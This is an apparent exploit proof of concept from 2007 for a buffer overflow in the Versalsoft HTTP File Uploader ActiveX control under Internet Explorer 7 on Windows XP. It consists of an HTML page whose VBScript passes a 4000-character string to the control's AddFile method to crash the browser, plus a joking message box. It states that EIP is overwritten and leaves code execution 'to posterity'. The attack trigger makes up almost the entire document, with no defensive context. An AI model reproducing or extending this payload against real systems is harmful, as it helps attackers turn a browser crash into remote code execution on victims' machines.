Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
Try only 1500 characters (or less) to see IE crash.
-------------------------------------------------------------------------------------
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <input language=VBScript onclick=QuoteMe() type=button value="Quoting...">
<script language='vbscript'>
Sub tryMe
on error resume next
arg1 = String (4000,"A")
target.AddFile arg1
End Sub
Sub QuoteMe
Dim MyMsg
MyMsg = MsgBox("I'm coming down with a fever" & vbCrLf & _
"I'm really out to sea" & vbCrLf & _
"This kettle is boiling over" & vbCrLf & _
"I think I'm a banana tree", 64, "2007/05/07 - Versalsoft HTTP File Uploader")
End Sub
</script><b><font color="#FF0000">As you can see by the faultmon dump, EIP is overwrite so code execution should
be possible... but I leave to posterity the hardest part of work :)</font color></b>
